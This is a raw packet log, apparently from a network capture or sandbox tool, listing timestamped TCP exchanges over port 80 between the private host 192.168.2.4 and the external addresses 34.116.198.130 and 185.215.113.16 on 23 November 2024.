Nov 23, 2024 03:21:24.444041967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.444135904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.444175959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.444834948 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.444873095 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.444937944 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.445049047 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.445938110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.446038961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.446050882 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.446062088 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.446090937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.446121931 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.446121931 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.446156025 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.446192026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.446240902 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.447113037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.447236061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.447246075 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.447256088 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.447284937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.447318077 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.447318077 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.448116064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.448239088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.448374033 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.448424101 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.448492050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.448519945 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.448530912 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.449126005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.449222088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.449268103 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.449574947 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.449619055 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.449668884 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.449706078 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.450138092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.450247049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.450299025 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.450757027 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.450813055 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.450850964 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.450951099 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.451141119 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.451256990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.451301098 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.451991081 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.452040911 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.452065945 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.452111006 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.452164888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.452275991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.452366114 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.453134060 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.453206062 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.453217983 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.453218937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.453239918 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.453308105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.453351021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.454205036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.454313993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.454338074 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.454349041 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.454363108 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.454391003 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.455224037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.455311060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.455395937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.455502987 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.455547094 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.455611944 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.455653906 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.456228971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.456336021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.456378937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.456706047 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.456746101 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.456809044 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.456852913 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.457264900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.457382917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.457432032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.457899094 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.457947016 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.458003998 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.458039999 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.458282948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.458385944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.458432913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.459074974 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.459120035 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.459186077 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.459218025 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.459266901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.459384918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.459446907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.460277081 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.460302114 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.460313082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.460386038 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.460386038 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.460414886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.460464954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.461325884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.461491108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.461502075 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.461513042 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.461543083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.461565971 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.461565971 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.462388039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.462460995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.462510109 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.462642908 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.462687016 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.462743044 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.462811947 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.463342905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.463469028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.463517904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.463850975 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.463958025 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.463983059 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.464000940 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.464365959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.464485884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.464529991 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.465018988 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.465101004 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.465136051 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.465173960 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.465395927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.465514898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.465610027 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.466224909 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.466269970 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.466329098 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.466408968 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.466430902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.466443062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.466490030 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.467410088 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.467456102 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.467467070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.467468977 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.467493057 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.467529058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.467571020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.468439102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.468539000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.468584061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.468631983 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.468645096 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.468663931 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.468686104 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.469454050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.469578028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.469629049 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.469778061 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.469826937 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.469871044 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.469909906 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.470470905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.470575094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.470628977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.470963001 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.471000910 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.471071005 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.471136093 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.471507072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.471612930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.472193956 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.472258091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.472273111 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.472300053 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.472310066 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.472512960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.472610950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.472767115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.473347902 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.473387957 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.473458052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.473491907 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.473540068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.473552942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.473592043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.474525928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.474586964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.474597931 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.474643946 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.474692106 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.474761009 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.474761009 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.475554943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.475677967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.475729942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.475738049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.475750923 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.475780010 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.475791931 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.476578951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.476681948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.476727009 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.476897001 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.476989985 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.476999044 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.477030039 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.477596998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.477729082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.477864981 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.478106022 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.478148937 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.478200912 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.478236914 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.478590965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.478688002 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.478739977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.479305983 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.479362965 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.479406118 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.479445934 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.479599953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.479727983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.479815960 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.480062962 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.480488062 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.480593920 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.480608940 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.480643034 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.480652094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.480663061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.480701923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.481684923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.481729031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.481745958 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.481806040 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.481810093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.481831074 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.481844902 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.482708931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.482772112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.482816935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.482865095 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.482901096 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.482970953 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.483156919 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.483699083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.483813047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.483853102 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.484065056 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.484102964 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.484112978 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.484196901 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.484649897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.485313892 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.485363007 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.485495090 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.485531092 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.486463070 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.486505032 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.486542940 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.486597061 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.487626076 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.487721920 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.487783909 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.487783909 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.488831043 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.488940954 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.488986969 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.490026951 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.490071058 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.490087986 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.490125895 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.491183996 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.491257906 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.491290092 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.491342068 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.492405891 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.492511034 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.492552042 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.492568970 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.493637085 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.493686914 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.493746996 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.493895054 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.494751930 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.494796038 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.494858027 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.494894981 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.495974064 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.496017933 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.496041059 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.496079922 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.529181004 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.610366106 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.610460043 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.610474110 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.610640049 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.610939980 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.611047029 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.611066103 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.611115932 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.612119913 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.612219095 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.612257004 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.612340927 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.613276958 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.613338947 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.639699936 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.639800072 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.639888048 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.640244007 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.640302896 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.640383959 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.640458107 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.641405106 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.641520977 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.641870022 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.641926050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.641938925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.641963005 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.641963005 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.642004967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.642052889 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.642273903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.642443895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.642497063 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.643110991 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.643220901 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.643234015 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.643289089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.643317938 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.643399000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.643464088 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.644254923 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.644301891 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.644306898 CET	49790	80	192.168.2.4	185.215.113.16
